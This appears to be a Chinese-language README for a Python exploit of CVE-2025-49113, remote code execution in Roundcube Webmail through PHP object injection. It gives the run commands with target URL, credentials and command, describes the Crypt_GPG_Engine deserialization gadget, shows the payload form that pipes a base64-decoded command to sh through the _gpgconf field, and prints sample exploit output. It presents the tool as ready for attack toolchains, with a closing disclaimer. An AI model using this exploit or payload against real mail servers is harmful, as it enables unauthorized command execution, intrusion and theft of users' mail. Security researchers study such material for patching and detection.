
💥 CVE-2025-49113 Python 漏洞利用 | 通过 PHP 对象注入实现 Roundcube Webmail RCE
CVE ID: CVE-2025-49113
利用类型: 远程代码执行(通过PHP对象注入)
应用: Roundcube Webmail ≤ 1.5.9 和 ≤ 1.6.10
利用语言: Python
作者: 00xCanelo
状态: 已在存在漏洞的Roundcube安装上测试并生效
此漏洞利用了Roundcube Webmail处理上传图片文件名时的反序列化问题,这些文件名被作为PHP对象反序列化。通过构造恶意载荷触发Crypt_GPG_Engine反序列化链,可以在身份验证后实现远程命令执行。
该Python PoC模拟了公开PHP利用所使用的攻击链,但逻辑更清晰、支持可选日志记录,并且易于在攻击工具链中使用。
pip install requestspython3 CVE-2025-49113.py <target_url> <username> <password> <command>
python3 CVE-2025-49113.py https://mail.target.htb/ [email protected] 'P@ssw0rd123' 'id'
PHP类Crypt_GPG_Engine允许设置一个_gpgconf字段,该字段随后被传递给shell执行。
我们的载荷构造:
echo "<base64-encoded-cmd>" | base64 -d | sh
放在_gpgconf中,在反序列化时导致RCE。
[*] Starting CVE-2025-49113 exploit...
[*] Checking Roundcube version...
[*] Detected Roundcube version: 10606
[+] Target is vulnerable!
[*] Logging in...
[+] Login successful.
[*] Uploading serialized gadget as image filename...
[+] Gadget uploaded successfully!
.
├── CVE-2025-49113.py # Python PoC脚本
└── README.md # 本文档
此代码仅供教育和授权安全测试使用。严禁滥用此工具。作者不对任何造成的损害负责。